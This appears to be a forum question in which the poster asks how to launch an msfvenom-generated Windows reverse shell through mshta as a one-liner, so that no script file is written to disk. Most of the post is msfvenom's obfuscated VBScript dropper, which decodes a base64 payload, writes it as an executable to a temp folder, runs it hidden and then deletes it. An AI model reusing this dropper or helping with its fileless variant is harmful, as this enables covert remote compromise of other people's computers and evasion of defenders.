one line .vbs windows reverse shell

i used msfvenom to generate cmd reverse shell … but i need to run without creating .vbs file on the disk ?? how i can that with mshta ???

mshta vbscript:Execute("MsgBox(""amessage"",64,""atitle"")(window.close)") 

my code :

Function ABuBUqIApLNbp(uHdPIeNYTbeH)     OOmVPrgKf = "<B64DECODE xmlns:dt="& Chr(34) & "urn:schemas-microsoft-com:datatypes" & Chr(34) & " " & _         "dt:dt=" & Chr(34) & "bin.base64" & Chr(34) & ">" & _         uHdPIeNYTbeH & "</B64DECODE>"     Set XOhxWyiundhfgI = CreateObject("MSXML2.DOMDocument.3.0")     XOhxWyiundhfgI.LoadXML(OOmVPrgKf)     ABuBUqIApLNbp = XOhxWyiundhfgI.selectsinglenode("B64DECODE").nodeTypedValue     set XOhxWyiundhfgI = nothing End Function  Function PtJrynGRCAMUIoZ()     NZyVNNTo = ""     Dim VrFtiDNNUk     Set VrFtiDNNUk = CreateObject("Scripting.FileSystemObject")     Dim cBefdvxbfruj     Dim ZdyreRwKLAbYf     Set cBefdvxbfruj = VrFtiDNNUk.GetSpecialFolder(2)     ZdyreRwKLAbYf = cBefdvxbfruj & "\" & VrFtiDNNUk.GetTempName()     VrFtiDNNUk.CreateFolder(ZdyreRwKLAbYf)     zMGqBHaJRPe = ZdyreRwKLAbYf & "\" & "sFAEDgdnPMVFwZW.exe"     Dim LbfXxwZUFvK     Set LbfXxwZUFvK = CreateObject("Wscript.Shell")     jJuedzJVodsqWP = ABuBUqIApLNbp(NZyVNNTo)     Set fFiDhNZtmQqF = CreateObject("ADODB.Stream")     fFiDhNZtmQqF.Type = 1     fFiDhNZtmQqF.Open     fFiDhNZtmQqF.Write jJuedzJVodsqWP     fFiDhNZtmQqF.SaveToFile zMGqBHaJRPe, 2     LbfXxwZUFvK.run zMGqBHaJRPe, 0, true     VrFtiDNNUk.DeleteFile(zMGqBHaJRPe)     VrFtiDNNUk.DeleteFolder(ZdyreRwKLAbYf) End Function  PtJrynGRCAMUIoZ